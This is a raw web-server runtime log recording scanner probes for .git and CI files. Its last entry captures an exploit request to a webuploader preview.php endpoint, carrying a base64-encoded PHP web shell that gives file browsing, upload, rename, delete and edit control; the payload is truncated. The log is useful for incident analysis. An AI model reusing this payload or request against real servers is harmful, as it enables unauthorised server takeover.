1 => 'media', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:31+08:00 ] 179.43.168.146 GET 59.110.137.245/.gitlab-ci.yml [运行时间:0.001978s] [吞吐率:505.52req/s] [内存消耗:132.28kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.gitlab-ci.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:11:58+08:00 ] 185.191.126.248 GET 59.110.137.245:80/ [运行时间:0.001355s] [吞吐率:738.04req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T03:18:39+08:00 ] 178.215.238.85 GET 59.110.137.245:80/login.rsp [运行时间:0.057187s] [吞吐率:17.49req/s] [内存消耗:132.33kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'login.rsp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'connection' => 'close', 'upgrade-insecure-requests' => '1', 'user-agent' => 'Hello World', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:23:28+08:00 ] 87.120.115.119 GET 59.110.137.245/.git/config [运行时间:0.599051s] [吞吐率:1.67req/s] [内存消耗:132.95kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.git', 2 => 'config', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25', 'accept-charset' => 'utf-8', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:29+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/admin/webuploader/server/preview.php [运行时间:0.032023s] [吞吐率:31.23req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KI